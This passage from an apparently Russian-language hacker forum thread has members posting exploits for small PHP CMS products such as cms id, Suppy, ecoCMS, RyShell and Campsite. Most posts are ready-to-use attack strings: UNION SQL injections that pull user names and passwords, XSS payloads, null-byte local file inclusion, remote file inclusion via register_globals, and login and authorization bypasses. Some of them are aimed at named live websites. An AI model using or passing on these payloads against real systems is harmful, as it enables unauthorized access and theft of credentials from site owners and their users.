    ../manager/help.php?c[]=article&mode=
    ../manager/users.php?user_id[]=1
    ../manager/comments.php?op=all'

    XSS(passive):
    ../manager/tools/visualedit/index.php?msg="><sCript>alert(111);</sCript>


    SQL-иньекция(админка):

    ../manager/tools.php?p=link&id=-4+union+select+1,2,3,4,5,6,7&page=edit_link



    Также можно узнать версию движка, обратившись к файлу, указанному ниже:

    ../manager/VERSION
     
    #372 _iks_, 24 Apr 2010
    Last edited: 24 Apr 2010
    7 people like this.
  13. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    product:cms id 1.1.1
    site:www.cmsid.co.cc

    1)SQL-injection

    file:application/views/views.php

    PHP:
    $id=$_GET['id'];
    $hasil    mysql_query("select * from id_views where id=$id");
    result:

    Code:
    /index.php?application=views&id=[COLOR=White]-9+union+select+1,2,concat_ws(0x3a,name,password),4,5,6+from+id_users+--+[/COLOR]

    2)SQL-injection

    file: application/moduls/news/news.php
    PHP:
        case 'views':
    $id=$_GET['id'];
    $hasil    mysql_query("select * from id_news where id=$id");
    result:

    Code:
    index.php?application=moduls&type=news&action=views&id=-14+union+select+1,2,concat_ws(0x3a,name,password),4,5,6,7,8,9,10,11,12,13+from+id_users+--+

    3)LFI(требования: mq=off)

    file: index.php
    бесит отсутствие отступов ><
    PHP:
    switch($_GET['application']) {
    ....
    case 
    'moduls':
    if (
    file_exists(dir_modul.$_GET['type'].'/'.$_GET['type'].'.php'))
    {
    require_once(
    dir_modul.$_GET['type'].'/'.$_GET['type'].'.php');
    }else {
    header("location:index.php");
    exit;

    break;
    result:

    Code:
    /index.php?application=moduls&type=../../[B][local_file][/B]%00
     
    #373 .:[melkiy]:., 27 Apr 2010
    Last edited: 27 Apr 2010
    7 people like this.
  14. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Suppy 0.5.4

    Suppy 0.5.4
    Suppy is a small supportsystem based on PHP and MySQL. Beta !
    Homepage: http://sourceforge.net/projects/suppy/

    Пассивная XSS:
    Auth ByPass
    /login.php
    В Anmeldename:
    1' or 1=1 /*
    Passwort:
    12345
    Exploit:

    PHP:
    <form method="post" action="http://site.com/login.php">
    <
    input name="name" type="text" value="1' or 1=1 -- " />
    <
    input name="pw" type="password" value="Ulalala"/>
    <
    input name="login" type="submit" value="Login" />

    SQL Inj:
    Code:
    PHP:
    if(isset($_GET['id']) && isset($_SESSION['ID_user']))
    {
        include_once(
    'utils/dbcon.php');
        
    $con = new DBcon();
        
    $con->AddSQL("SELECT * FROM file ");
        
    $con->AddSQL("WHERE ID_file=".$_GET['id']);
     
    11 people like this.
  15. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Concrete CMS

    -Пассивная XSS


    Code:
    http://www.concrete5.org/search/-/search/?query=%3E%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&submit=Go+%BB

    ******************

    оффсайт:
    http://www.concrete5.org/
    скачать:
    http://www.concrete5.org/download_file/-/view/12742/
     
    2 people like this.
  16. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Tribiq CMS 5.2.2b

    Пассивная XSS:
    Мутим чётко и дезрко (c):
    Need: mg=off, хотя х.з., js такая весчь что можно и без кавычек обойтись.
    До изменения:

    После изменения:
    Админ вводит пасс/логин, и данные идут не в adminlogin.php, а в http://xenk/index.php.
     
    2 people like this.
  17. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    v.1.0 RyShell CMS

    SQL Injection
    пример сайта с этой кмс
    Code:
    http://www.papiorec.org/index.php?url=-8+union+select+unhex%28hex%28version%28%29%29%29--
    на офф сайте тоже имеется SQL Injection:
    Code:
    http://www.ryshell.com/index2.php?url=-25+UNiON+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex%28hex%28version%28%29%29%29,18,19,20,21--
    хотя в админку можно попасть минуя авторизацию:)
    http://www.ryshell.com/admin/admin.php
     
    5 people like this.
  18. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    [size=+1]ecoCMS[/size]
    Site: www.ecocms.com
    Vulnerability: Authorization bypass
    Severity: High
    Needs: register_globals=On
    Exploit: /admin.php?_SESSION[user_in]=1
    Reason: В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль:
    PHP:
    <?php

    /*
    ecoCMS - Quick & easy to use Content Management System (CMS)
    (c)2009 by ecoCMS.com - visit for PRO version.
    */

    include('config.php');
    if(
    $_GET['panel']=='logout')session_destroy();

    if(
    $_POST['user'] && $_POST['pass']){
    // user is trying to login here.
    // verify his user/pass.
    if($_POST['user']==constant('accessUser') && $_POST['pass']==constant('accessPass'))
    $_SESSION['user_in']=1;
    else
    $Message 'Username or password incorrect!';
    }

    if(!
    $_SESSION['user_in'])$HideContents=1;
    else unset(
    $HideContents);

    ?>
    В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль. Следовательно. мы можем не передавая post-данные с логином и паролем, установить значение переменной сессии при register_globals=On.
     
    _________________________
    #378 shell_c0de, 29 Apr 2010
    Last edited: 6 May 2010
    2 people like this.
  19. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    ISPmanager 4.3 Professional

    Пассивная XSS:
     
    #379 Ctacok, 2 May 2010
    Last edited: 21 May 2010
    4 people like this.
  20. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    [size=+1]Campsite (3.3.5)[/size]
    Site: campsite.campware.org
    Vulnerability: Remote File Inclusion || Local File Inclusion
    Severity: High
    Needs: register_globals=On
    Exploit: /tests/test_autopublish.php?GLOBALS[g_campsiteDir]=RFI ; /classes/ObjectType.php?GLOBALS[g_campsiteDir]=RFI
    Reason: В tests/test_autopublish.php, /classes/ObjectType.php и в других скриптах часто используемая глобальная переменная g_campsiteDir не определена. Она определена лишь в скрипте set_path.php, который в самом вышеуказанном скрипте не подключается.
    Участок кода в tests/test_autopublish.php:
    PHP:
    <?php
    require_once($GLOBALS['g_campsiteDir']."/classes/Article.php");
    require_once(
    $GLOBALS['g_campsiteDir']."/classes/ArticlePublish.php");
    require_once(
    $GLOBALS['g_campsiteDir']."/classes/Issue.php");
    require_once(
    $GLOBALS['g_campsiteDir']."/classes/IssuePublish.php");
    ...
    Участок кода в /classes/ObjectType.php:
    PHP:
    <?php
    /**
     * @package Campsite
     */

    /**
     * Includes
     */
    require_once($GLOBALS['g_campsiteDir'].'/classes/DatabaseObject.php');
    require_once(
    $GLOBALS['g_campsiteDir'].'/classes/Translation.php');
    Следовательно. мы можем установить значение глобальной переменной и заинклудить произвольный файл при register_globals=On.
    При allow_url_include=On/Off имеем RFI/LFI соответственно. Для проведения LFI скорее всего понадобится ещё и magic_quotes_gpc=On для того, чтобы обрезать лишнее нулл-байтом.
    При register_globals=Off имеем лишь раскрытие путей.
     
    _________________________